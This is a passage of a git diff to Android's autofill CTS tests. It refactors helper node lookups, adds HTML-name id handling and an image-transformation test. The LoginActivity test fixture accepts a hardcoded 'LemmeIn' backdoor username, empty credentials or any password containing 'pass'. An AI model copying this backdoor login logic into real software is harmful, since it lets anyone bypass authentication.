+ // For the restoring logic the two views are the same. Hence it might happen that the first
+ // view is restored with the id of the second view or the other way round.
+ // We just need
+ // - to restore as many views as we can (i.e. one)
+ // - make sure the autofill ids are still unique after
+ boolean view1WasRestored = (recreatedId1.equals(id1) || recreatedId1.equals(id2));
+ boolean view2WasRestored = (recreatedId2.equals(id1) || recreatedId2.equals(id2));
+
+ // One id was restored
+ assertThat(view1WasRestored || view2WasRestored).isTrue();
+
+ // The views still have different autofill ids
+ assertThat(recreatedId1).isNotEqualTo(recreatedId2);
+
+ waitUntilDisconnected();
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/EmptyActivity.java b/tests/autofillservice/src/android/autofillservice/cts/EmptyActivity.java
index 1a64b8c..6f27fbe 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/EmptyActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/EmptyActivity.java
@@ -16,9 +16,9 @@
package android.autofillservice.cts;
-import android.support.annotation.Nullable;
import android.app.Activity;
import android.os.Bundle;
+import android.support.annotation.Nullable;
/**
* Empty activity
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FatActivity.java b/tests/autofillservice/src/android/autofillservice/cts/FatActivity.java
index cf6471b..ce97408 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/FatActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/FatActivity.java
@@ -20,8 +20,8 @@
import static android.view.View.IMPORTANT_FOR_AUTOFILL_NO;
import static android.view.View.IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS;
import static android.view.View.IMPORTANT_FOR_AUTOFILL_YES;
-
import static android.view.View.IMPORTANT_FOR_AUTOFILL_YES_EXCLUDE_DESCENDANTS;
+
import static com.google.common.truth.Truth.assertThat;
import android.os.Bundle;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FragmentWithEditText.java b/tests/autofillservice/src/android/autofillservice/cts/FragmentWithEditText.java
index ce05c2b..6dd9ee4 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/FragmentWithEditText.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/FragmentWithEditText.java
@@ -16,9 +16,9 @@
package android.autofillservice.cts;
-import android.support.annotation.Nullable;
import android.app.Fragment;
import android.os.Bundle;
+import android.support.annotation.Nullable;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java b/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java
index d0b6730..33321c7 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java
@@ -21,10 +21,10 @@
import android.widget.Button;
import android.widget.EditText;
+import java.util.ArrayList;
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit;
-import java.util.ArrayList;
/**
* Activity that contains a 4x4 grid of cells (named {@code l1c1} to {@code l4c2}) plus
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index 0c384ff..1000373 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -16,10 +16,10 @@
package android.autofillservice.cts;
-import static android.autofillservice.cts.Helper.runShellCommand;
import static android.autofillservice.cts.InstrumentedAutoFillService.SERVICE_NAME;
import static android.autofillservice.cts.UiBot.PORTRAIT;
import static android.provider.Settings.Secure.AUTOFILL_SERVICE;
+import static android.provider.Settings.Secure.USER_SETUP_COMPLETE;
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
@@ -30,16 +30,18 @@
import android.content.Context;
import android.content.pm.PackageManager;
import android.icu.util.Calendar;
-import android.os.UserManager;
import android.service.autofill.FillContext;
import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
import android.support.test.InstrumentationRegistry;
import android.text.TextUtils;
import android.util.Log;
+import android.util.Pair;
import android.view.View;
import android.view.ViewStructure.HtmlInfo;
import android.view.autofill.AutofillId;
import android.view.autofill.AutofillValue;
+import android.webkit.WebView;
import com.android.compatibility.common.util.SystemUtil;
@@ -54,9 +56,6 @@
private static final String TAG = "AutoFillCtsHelper";
- // TODO: should static import Settings.Secure instead, but that's not a @TestApi
- private static String USER_SETUP_COMPLETE = "user_setup_complete";
-
static final boolean VERBOSE = false;
static final String MY_PACKAGE = "android.autofillservice.cts";
@@ -68,6 +67,8 @@
static final String ID_LOGIN = "login";
static final String ID_OUTPUT = "output";
+ private static final String CMD_LIST_SESSIONS = "cmd autofill list sessions";
+
/**
* Timeout (in milliseconds) until framework binds / unbinds from service.
*/
@@ -99,11 +100,21 @@
static final int UI_TIMEOUT_MS = 2000;
/**
+ * Timeout (in milliseconds) for an activity to be brought out to top.
+ */
+ static final int ACTIVITY_RESURRECTION_MS = 5000;
+
+ /**
* Timeout (in milliseconds) for changing the screen orientation.
*/
static final int UI_SCREEN_ORIENTATION_TIMEOUT_MS = 5000;
/**
+ * Timeout (in milliseconds) for using Recents to swtich activities.
+ */
+ static final int UI_RECENTS_SWITCH_TIMEOUT_MS = 200;
+
+ /**
* Time to wait in between retries
*/
static final int RETRY_MS = 100;
@@ -111,6 +122,43 @@
private final static String ACCELLEROMETER_CHANGE =
"content insert --uri content://settings/system --bind name:s:accelerometer_rotation "
+ "--bind value:i:%d";
+
+ /**
+ * Helper interface used to filter Assist nodes.
+ */
+ interface NodeFilter {
+ /**
+ * Returns whether the node passes the filter for such given id.
+ */
+ boolean matches(ViewNode node, Object id);
+ }
+
+ private static final NodeFilter RESOURCE_ID_FILTER = (node, id) -> {
+ return id.equals(node.getIdEntry());
+ };
+
+ private static final NodeFilter HTML_NAME_FILTER = (node, id) -> {
+ return id.equals(getHtmlName(node));
+ };
+
+ private static final NodeFilter TEXT_FILTER = (node, id) -> {
+ return id.equals(node.getText());
+ };
+
+ private static final NodeFilter WEBVIEW_ROOT_FILTER = (node, id) -> {
+ // TODO(b/66953802): class name should be android.webkit.WebView, and form name should be
+ // inside HtmlInfo, but Chromium 61 does not implement that.
+ final String className = node.getClassName();
+ final String formName;
+ if (className.equals("android.webkit.WebView")) {
+ final HtmlInfo htmlInfo = assertHasHtmlTag(node, "form");
+ formName = getAttributeValue(htmlInfo, "name");
+ } else {
+ formName = className;
+ }
+ return id.equals(formName);
+ };
+
/**
* Runs a {@code r}, ignoring all {@link RuntimeException} and {@link Error} until the
* {@link #UI_TIMEOUT_MS} is reached.
@@ -138,7 +186,7 @@
if (e instanceof RetryableException) {
throw e;
} else {
- throw new Exception("Timedout out after " + timeout + " ms", e);
+ throw new RetryableException(e, "Timedout out after %d ms", timeout);
}
}
}
@@ -231,6 +279,7 @@
.append(" class=").append(node.getClassName())
.append(" text=").append(node.getText())
.append(" class=").append(node.getClassName())
+ .append(" webDomain=").append(node.getWebDomain())
.append(" #children=").append(childrenSize);
buffer.append("\n").append(prefix)
@@ -255,15 +304,16 @@
}
/**
- * Gets a node given its Android resource id, or {@code null} if not found.
+ * Gets a node if it matches the filter criteria for the given id.
*/
- static ViewNode findNodeByResourceId(AssistStructure structure, String resourceId) {
+ static ViewNode findNodeByFilter(@NonNull AssistStructure structure, @NonNull Object id,
+ @NonNull NodeFilter filter) {
Log.v(TAG, "Parsing request for activity " + structure.getActivityComponent());
final int nodes = structure.getWindowNodeCount();
for (int i = 0; i < nodes; i++) {
final WindowNode windowNode = structure.getWindowNodeAt(i);
final ViewNode rootNode = windowNode.getRootViewNode();
- final ViewNode node = findNodeByResourceId(rootNode, resourceId);
+ final ViewNode node = findNodeByFilter(rootNode, id, filter);
if (node != null) {
return node;
}
@@ -272,34 +322,101 @@
}
/**
+ * Gets a node if it matches the filter criteria for the given id.
+ */
+ static ViewNode findNodeByFilter(@NonNull List<FillContext> contexts, @NonNull Object id,
+ @NonNull NodeFilter filter) {
+ for (FillContext context : contexts) {
+ ViewNode node = findNodeByFilter(context.getStructure(), id, filter);
+ if (node != null) {
+ return node;
+ }
+ }
+ return null;
+ }
+
+ /**
+ * Gets a node if it matches the filter criteria for the given id.
+ */
+ static ViewNode findNodeByFilter(@NonNull ViewNode node, @NonNull Object id,
+ @NonNull NodeFilter filter) {
+ if (filter.matches(node, id)) {
+ return node;
+ }
+ final int childrenSize = node.getChildCount();
+ if (childrenSize > 0) {
+ for (int i = 0; i < childrenSize; i++) {
+ final ViewNode found = findNodeByFilter(node.getChildAt(i), id, filter);
+ if (found != null) {
+ return found;
+ }
+ }
+ }
+ return null;
+ }
+
+ /**
+ * Gets a node given its Android resource id, or {@code null} if not found.
+ */
+ static ViewNode findNodeByResourceId(AssistStructure structure, String resourceId) {
+ return findNodeByFilter(structure, resourceId, RESOURCE_ID_FILTER);
+ }
+
+ /**
* Gets a node given its Android resource id, or {@code null} if not found.
*/
static ViewNode findNodeByResourceId(List<FillContext> contexts, String resourceId) {
- for (FillContext context : contexts) {
- ViewNode node = findNodeByResourceId(context.getStructure(), resourceId);
- if (node != null) {
- return node;
- }
- }
- return null;
+ return findNodeByFilter(contexts, resourceId, RESOURCE_ID_FILTER);
}
/**
* Gets a node given its Android resource id, or {@code null} if not found.
*/
static ViewNode findNodeByResourceId(ViewNode node, String resourceId) {
- if (resourceId.equals(node.getIdEntry())) {
- return node;
+ return findNodeByFilter(node, resourceId, RESOURCE_ID_FILTER);
+ }
+
+ /**
+ * Gets a node given the name of its HTML INPUT tag, or {@code null} if not found.
+ */
+ static ViewNode findNodeByHtmlName(AssistStructure structure, String htmlName) {
+ return findNodeByFilter(structure, htmlName, HTML_NAME_FILTER);
+ }
+
+ /**
+ * Gets a node given the name of its HTML INPUT tag, or {@code null} if not found.
+ */
+ static ViewNode findNodeByHtmlName(List<FillContext> contexts, String htmlName) {
+ return findNodeByFilter(contexts, htmlName, HTML_NAME_FILTER);
+ }
+
+ /**
+ * Gets a node given the name of its HTML INPUT tag, or {@code null} if not found.
+ */
+ static ViewNode findNodeByHtmlName(ViewNode node, String htmlName) {
+ return findNodeByFilter(node, htmlName, HTML_NAME_FILTER);
+ }
+
+ /**
+ * Gets the {@code name} attribute of a node representing an HTML input tag.
+ */
+ @Nullable
+ static String getHtmlName(@NonNull ViewNode node) {
+ final HtmlInfo htmlInfo = node.getHtmlInfo();
+ if (htmlInfo == null) {
+ return null;
}
- final int childrenSize = node.getChildCount();
- if (childrenSize > 0) {
- for (int i = 0; i < childrenSize; i++) {
- final ViewNode found = findNodeByResourceId(node.getChildAt(i), resourceId);
- if (found != null) {
- return found;
- }
+ final String tag = htmlInfo.getTag();
+ if (!"input".equals(tag)) {
+ Log.w(TAG, "getHtmlName(): invalid tag (" + tag + ") on " + htmlInfo);
+ return null;
+ }
+ for (Pair<String, String> attr : htmlInfo.getAttributes()) {
+ if ("name".equals(attr.first)) {
+ return attr.second;
}
}
+ Log.w(TAG, "getHtmlName(): no 'name' attribute on " + htmlInfo);
return null;
}
@@ -307,48 +424,26 @@
* Gets a node given its expected text, or {@code null} if not found.
*/
static ViewNode findNodeByText(AssistStructure structure, String text) {
- Log.v(TAG, "Parsing request for activity " + structure.getActivityComponent());
- final int nodes = structure.getWindowNodeCount();
- for (int i = 0; i < nodes; i++) {
- final WindowNode windowNode = structure.getWindowNodeAt(i);
- final ViewNode rootNode = windowNode.getRootViewNode();
- final ViewNode node = findNodeByText(rootNode, text);
- if (node != null) {
- return node;
- }
- }
- return null;
+ return findNodeByFilter(structure, text, TEXT_FILTER);
}
/**
* Gets a node given its expected text, or {@code null} if not found.
*/
static ViewNode findNodeByText(ViewNode node, String text) {
- if (text.equals(node.getText())) {
- return node;
- }
- final int childrenSize = node.getChildCount();
- if (childrenSize > 0) {
- for (int i = 0; i < childrenSize; i++) {
- final ViewNode found = findNodeByText(node.getChildAt(i), text);
- if (found != null) {
- return found;
- }
- }
- }
- return null;
+ return findNodeByFilter(node, text, TEXT_FILTER);
}
/**
* Asserts a text-base node is sanitized.
*/
static void assertTextIsSanitized(ViewNode node) {
- final CharSequence text = node.getText();
- final String resourceId = node.getIdEntry();
- if (!TextUtils.isEmpty(text)) {
- throw new AssertionError("text on sanitized field " + resourceId + ": " + text);
- }
- assertNodeHasNoAutofillValue(node);
+ final CharSequence text = node.getText();
+ final String resourceId = node.getIdEntry();
+ if (!TextUtils.isEmpty(text)) {
+ throw new AssertionError("text on sanitized field " + resourceId + ": " + text);
+ }
+ assertNodeHasNoAutofillValue(node);
}
static void assertNodeHasNoAutofillValue(ViewNode node) {
@@ -626,35 +721,6 @@
}
/**
- * Wait until a process starts and returns the process ID of the process.
- *
- * @return The pid of the process
- */
- public static int getOutOfProcessPid(@NonNull String processName) {
- long startTime = System.currentTimeMillis();
-
- while (System.currentTimeMillis() - startTime <= UI_TIMEOUT_MS) {
- String[] allProcessDescs = runShellCommand("ps -eo PID,ARGS=CMD").split("\n");
-
- for (String processDesc : allProcessDescs) {
- String[] pidAndName = processDesc.trim().split(" ");
-
- if (pidAndName[1].equals(processName)) {
- return Integer.parseInt(pidAndName[0]);
- }
- }
-
- try {
- Thread.sleep(RETRY_MS);
- } catch (InterruptedException e) {
- Thread.currentThread().interrupt();
- }
- }
-
- throw new IllegalStateException("process not found");
- }
-
- /**
* Gets the maximum number of partitions per session.
*/
public static int getMaxPartitions() {
@@ -740,9 +806,17 @@
* Asserts that there is no session left in the service.
*/
public static void assertNoDanglingSessions() {
- final String command = "cmd autofill list sessions";
- final String result = runShellCommand(command);
- assertWithMessage("Dangling sessions ('%s'): %s'", command, result).that(result).isEmpty();
+ final String result = runShellCommand(CMD_LIST_SESSIONS);
+ assertWithMessage("Dangling sessions ('%s'): %s'", CMD_LIST_SESSIONS, result).that(result)
+ .isEmpty();
+ }
+
+ /**
+ * Asserts that there is a pending session for the given package.
+ */
+ public static void assertHasSessions(String packageName) {
+ final String result = runShellCommand(CMD_LIST_SESSIONS);
+ assertThat(result).contains(packageName);
}
/**
@@ -820,6 +894,53 @@
AuthenticationActivity.resetStaticState();
}
+ /**
+ * Asserts the node has an {@code HTMLInfo} property, with the given tag.
+ */
+ public static HtmlInfo assertHasHtmlTag(ViewNode node, String expectedTag) {
+ final HtmlInfo info = node.getHtmlInfo();
+ assertWithMessage("node doesn't have htmlInfo").that(info).isNotNull();
+ assertWithMessage("wrong tag").that(info.getTag()).isEqualTo(expectedTag);
+ return info;
+ }
+
+ /**
+ * Gets the value of an {@code HTMLInfo} attribute.
+ */
+ @Nullable
+ public static String getAttributeValue(HtmlInfo info, String attribute) {
+ for (Pair<String, String> pair : info.getAttributes()) {
+ if (pair.first.equals(attribute)) {
+ return pair.second;
+ }
+ }
+ return null;
+ }
+
+ /**
+ * Asserts a {@code HTMLInfo} has an attribute with a given value.
+ */
+ public static void assertHasAttribute(HtmlInfo info, String attribute, String expectedValue) {
+ final String actualValue = getAttributeValue(info, attribute);
+ assertWithMessage("Attribute %s not found", attribute).that(actualValue).isNotNull();
+ assertWithMessage("Wrong value for Attribute %s", attribute)
+ .that(actualValue).isEqualTo(expectedValue);
+ }
+
+ /**
+ * Finds a {@link WebView} node given its expected form name.
+ */
+ public static ViewNode findWebViewNode(AssistStructure structure, String formName) {
+ return findNodeByFilter(structure, formName, WEBVIEW_ROOT_FILTER);
+ }
+
+ /**
+ * Finds a {@link WebView} node given its expected form name.
+ */
+ public static ViewNode findWebViewNode(ViewNode node, String formName) {
+ return findNodeByFilter(node, formName, WEBVIEW_ROOT_FILTER);
+ }
+
private Helper() {
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/IdMode.java b/tests/autofillservice/src/android/autofillservice/cts/IdMode.java
new file mode 100644
index 0000000..01878ab
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/IdMode.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+/**
+ * Enum used to explain the meaning of node ids used by test cases.
+ */
+enum IdMode {
+ RESOURCE_ID,
+ HTML_NAME
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java b/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java
new file mode 100644
index 0000000..e96df05
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java
@@ -0,0 +1,154 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static org.mockito.ArgumentMatchers.anyInt;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.only;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.ImageTransformation;
+import android.service.autofill.ValueFinder;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.autofill.AutofillId;
+import android.widget.RemoteViews;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class ImageTransformationTest {
+
+ @Test
+ public void testAllNullBuilder() {
+ assertThrows(NullPointerException.class,
+ () -> new ImageTransformation.Builder(null, null, 0));
+ }
+
+ @Test
+ public void testNullAutofillIdBuilder() {
+ assertThrows(NullPointerException.class,
+ () -> new ImageTransformation.Builder(null, Pattern.compile(""), 1));
+ }
+
+ @Test
+ public void testNullRegexBuilder() {
+ assertThrows(NullPointerException.class,
+ () -> new ImageTransformation.Builder(new AutofillId(1), null, 1));
+ }
+
+ @Test
+ public void testNullSubstBuilder() {
+ assertThrows(IllegalArgumentException.class,
+ () -> new ImageTransformation.Builder(new AutofillId(1), Pattern.compile(""), 0));
+ }
+
+ @Test
+ public void fieldCannotBeFound() throws Exception {
+ AutofillId unknownId = new AutofillId(42);
+
+ ImageTransformation trans = new ImageTransformation
+ .Builder(unknownId, Pattern.compile("val"), 1)
+ .build();
+
+ ValueFinder finder = mock(ValueFinder.class);
+ RemoteViews template = mock(RemoteViews.class);
+
+ when(finder.findByAutofillId(unknownId)).thenReturn(null);
+
+ trans.apply(finder, template, 0);
+
+ // if a view cannot be found, nothing is set
+ verify(template, never()).setImageViewResource(anyInt(), anyInt());
+ }
+
+ @Test
+ public void theOneOptionsMatches() throws Exception {
+ AutofillId id = new AutofillId(1);
+ ImageTransformation trans = new ImageTransformation
+ .Builder(id, Pattern.compile(".*"), 42)
+ .build();
+
+ ValueFinder finder = mock(ValueFinder.class);
+ RemoteViews template = mock(RemoteViews.class);
+
+ when(finder.findByAutofillId(id)).thenReturn("val");
+
+ trans.apply(finder, template, 0);
+
+ verify(template).setImageViewResource(0, 42);
+ }
+
+ @Test
+ public void noOptionsMatches() throws Exception {
+ AutofillId id = new AutofillId(1);
+ ImageTransformation trans = new ImageTransformation
+ .Builder(id, Pattern.compile("val"), 42)
+ .build();
+
+ ValueFinder finder = mock(ValueFinder.class);
+ RemoteViews template = mock(RemoteViews.class);
+
+ when(finder.findByAutofillId(id)).thenReturn("bad-val");
+
+ trans.apply(finder, template, 0);
+
+ verify(template, never()).setImageViewResource(anyInt(), anyInt());
+ }
+
+ @Test
+ public void multipleOptionsOneMatches() throws Exception {
+ AutofillId id = new AutofillId(1);
+ ImageTransformation trans = new ImageTransformation
+ .Builder(id, Pattern.compile(".*1"), 1)
+ .addOption(Pattern.compile(".*2"), 2)
+ .build();
+
+ ValueFinder finder = mock(ValueFinder.class);
+ RemoteViews template = mock(RemoteViews.class);
+
+ when(finder.findByAutofillId(id)).thenReturn("val-2");
+
+ trans.apply(finder, template, 0);
+
+ verify(template).setImageViewResource(0, 2);
+ }
+
+ @Test
+ public void twoOptionsMatch() throws Exception {
+ AutofillId id = new AutofillId(1);
+ ImageTransformation trans = new ImageTransformation
+ .Builder(id, Pattern.compile(".*a.*"), 1)
+ .addOption(Pattern.compile(".*b.*"), 2)
+ .build();
+
+ ValueFinder finder = mock(ValueFinder.class);
+ RemoteViews template = mock(RemoteViews.class);
+
+ when(finder.findByAutofillId(id)).thenReturn("ab");
+
+ trans.apply(finder, template, 0);
+
+ // If two options match, the first one is picked
+ verify(template, only()).setImageViewResource(0, 1);
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java b/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
index 0840f28..3859138 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
@@ -100,13 +100,13 @@
@Override
public void onFillRequest(android.service.autofill.FillRequest request,
CancellationSignal cancellationSignal, FillCallback callback) {
+ if (DUMP_FILL_REQUESTS) dumpStructure("onFillRequest()", request.getFillContexts());
synchronized (sLock) {
if (sIgnoreUnexpectedRequests || !fromSamePackage(request.getFillContexts())) {
Log.w(TAG, "Ignoring onFillRequest()");
return;
}
}
- if (DUMP_FILL_REQUESTS) dumpStructure("onFillRequest()", request.getFillContexts());
sReplier.onFillRequest(request.getFillContexts(), request.getClientState(),
cancellationSignal, callback, request.getFlags());
}
@@ -114,13 +114,13 @@
@Override
public void onSaveRequest(android.service.autofill.SaveRequest request,
SaveCallback callback) {
+ if (DUMP_SAVE_REQUESTS) dumpStructure("onSaveRequest()", request.getFillContexts());
synchronized (sLock) {
if (sIgnoreUnexpectedRequests || !fromSamePackage(request.getFillContexts())) {
Log.w(TAG, "Ignoring onSaveRequest()");
return;
}
}
- if (DUMP_SAVE_REQUESTS) dumpStructure("onSaveRequest()", request.getFillContexts());
sReplier.onSaveRequest(request.getFillContexts(), request.getClientState(), callback);
}
@@ -255,6 +255,13 @@
private Replier() {
}
+
+ private IdMode mIdMode = IdMode.RESOURCE_ID;
+
+ public void setIdMode(IdMode mode) {
+ this.mIdMode = mode;
+ }
+
public void acceptRequestsFromPackage(String packageName) {
mAcceptedPackageName = packageName;
}
@@ -398,8 +405,20 @@
return;
}
- final FillResponse fillResponse = response.asFillResponse(
- (id) -> Helper.findNodeByResourceId(contexts, id));
+ final FillResponse fillResponse;
+
+ switch (mIdMode) {
+ case RESOURCE_ID:
+ fillResponse = response.asFillResponse(
+ (id) -> Helper.findNodeByResourceId(contexts, id));
+ break;
+ case HTML_NAME:
+ fillResponse = response.asFillResponse(
+ (name) -> Helper.findNodeByHtmlName(contexts, name));
+ break;
+ default:
+ throw new IllegalStateException("Unknown id mode: " + mIdMode);
+ }
Log.v(TAG, "onFillRequest(): fillResponse = " + fillResponse);
callback.onSuccess(fillResponse);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
index 9a0d70c..b41cef8 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
@@ -20,8 +20,8 @@
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
+import android.text.TextUtils;
import android.util.Log;
-import android.view.View;
import android.view.View.OnClickListener;
import android.view.inputmethod.InputMethodManager;
import android.widget.Button;
@@ -50,6 +50,8 @@
static final String ID_USERNAME_CONTAINER = "username_container";
static final String AUTHENTICATION_MESSAGE = "Authentication failed. D'OH!";
+ static final String BACKDOOR_USERNAME = "LemmeIn";
+ static final String BACKDOOR_PASSWORD_SUBSTRING = "pass";
private TextView mUsernameLabel;
private EditText mUsernameEditText;
@@ -76,18 +78,17 @@
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
-
setContentView(getContentView());
- mLoginButton = (Button) findViewById(R.id.login);
- mSaveButton = (Button) findViewById(R.id.save);
- mClearButton = (Button) findViewById(R.id.clear);
- mCancelButton = (Button) findViewById(R.id.cancel);
- mUsernameLabel = (TextView) findViewById(R.id.username_label);
- mUsernameEditText = (EditText) findViewById(R.id.username);
- mPasswordLabel = (TextView) findViewById(R.id.password_label);
- mPasswordEditText = (EditText) findViewById(R.id.password);
- mOutput = (TextView) findViewById(R.id.output);
+ mLoginButton = findViewById(R.id.login);
+ mSaveButton = findViewById(R.id.save);
+ mClearButton = findViewById(R.id.clear);
+ mCancelButton = findViewById(R.id.cancel);
+ mUsernameLabel = findViewById(R.id.username_label);
+ mUsernameEditText = findViewById(R.id.username);
+ mPasswordLabel = findViewById(R.id.password_label);
+ mPasswordEditText = findViewById(R.id.password);
+ mOutput = findViewById(R.id.output);
mLoginButton.setOnClickListener((v) -> login());
mSaveButton.setOnClickListener((v) -> save());
@@ -110,7 +111,10 @@
private void login() {
final String username = mUsernameEditText.getText().toString();
final String password = mPasswordEditText.getText().toString();
- final boolean valid = username.equals(password) || password.contains("pass");
+ final boolean valid = username.equals(password)
+ || (TextUtils.isEmpty(username) && TextUtils.isEmpty(password))
+ || password.contains(BACKDOOR_PASSWORD_SUBSTRING)
+ || username.equals(BACKDOOR_USERNAME);
if (valid) {
Log.d(TAG, "login ok: " + username);
@@ -165,12 +169,23 @@
}
/**
+ * Sets the expectation for an autofill request (for password only), so it can be asserted
+ * through {@link #assertAutoFilled()} later.
+ */
+ void expectPasswordAutoFill(String password) {
+ mExpectation = new FillExpectation(null, password);
+ mPasswordEditText.addTextChangedListener(mExpectation.ccPasswordWatcher);
+ }
+
+ /**
* Asserts the activity was auto-filled with the values passed to
* {@link #expectAutoFill(String, String)}.
*/
void assertAutoFilled() throws Exception {
assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
- mExpectation.ccUsernameWatcher.assertAutoFilled();
+ if (mExpectation.ccUsernameWatcher != null) {
+ mExpectation.ccUsernameWatcher.assertAutoFilled();
+ }
if (mExpectation.ccPasswordWatcher != null) {
mExpectation.ccPasswordWatcher.assertAutoFilled();
}
@@ -264,13 +279,14 @@
private final OneTimeTextWatcher ccPasswordWatcher;
private FillExpectation(String username, String password) {
- ccUsernameWatcher = new OneTimeTextWatcher("username", mUsernameEditText, username);
- ccPasswordWatcher = new OneTimeTextWatcher("password", mPasswordEditText, password);
+ ccUsernameWatcher = username == null ? null
+ : new OneTimeTextWatcher("username", mUsernameEditText, username);
+ ccPasswordWatcher = password == null ? null
+ : new OneTimeTextWatcher("password", mPasswordEditText, password);
}
private FillExpectation(String username) {
- ccUsernameWatcher = new OneTimeTextWatcher("username", mUsernameEditText, username);
- ccPasswordWatcher = null;
+ this(username, null);
}
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index 56e52f5..42a2fa9 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -30,14 +30,13 @@
import static android.autofillservice.cts.Helper.assertTextIsSanitized;
import static android.autofillservice.cts.Helper.assertValue;
import static android.autofillservice.cts.Helper.dumpStructure;
-import static android.autofillservice.cts.Helper.eventually;
import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.Helper.getContext;
import static android.autofillservice.cts.Helper.runShellCommand;
import static android.autofillservice.cts.Helper.setUserComplete;
import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilDisconnected;
import static android.autofillservice.cts.LoginActivity.AUTHENTICATION_MESSAGE;
+import static android.autofillservice.cts.LoginActivity.BACKDOOR_USERNAME;
import static android.autofillservice.cts.LoginActivity.ID_USERNAME_CONTAINER;
import static android.autofillservice.cts.LoginActivity.getWelcomeMessage;
import static android.service.autofill.FillEventHistory.Event.TYPE_AUTHENTICATION_SELECTED;
@@ -56,6 +55,11 @@
import static android.view.View.IMPORTANT_FOR_AUTOFILL_NO;
import static android.view.WindowManager.LayoutParams.FLAG_SECURE;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectBindInput;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
@@ -71,10 +75,11 @@
import android.content.IntentSender;
import android.graphics.Color;
import android.os.Bundle;
+import android.os.Process;
import android.service.autofill.FillEventHistory;
-import android.service.autofill.FillResponse;
import android.service.autofill.SaveInfo;
import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
import android.view.View;
import android.view.View.AccessibilityDelegate;
import android.view.ViewGroup;
@@ -85,13 +90,19 @@
import android.view.autofill.AutofillValue;
import android.widget.RemoteViews;
+import com.android.cts.mockime.ImeCommand;
+import com.android.cts.mockime.ImeEventStream;
+import com.android.cts.mockime.MockImeSession;
+
import org.junit.After;
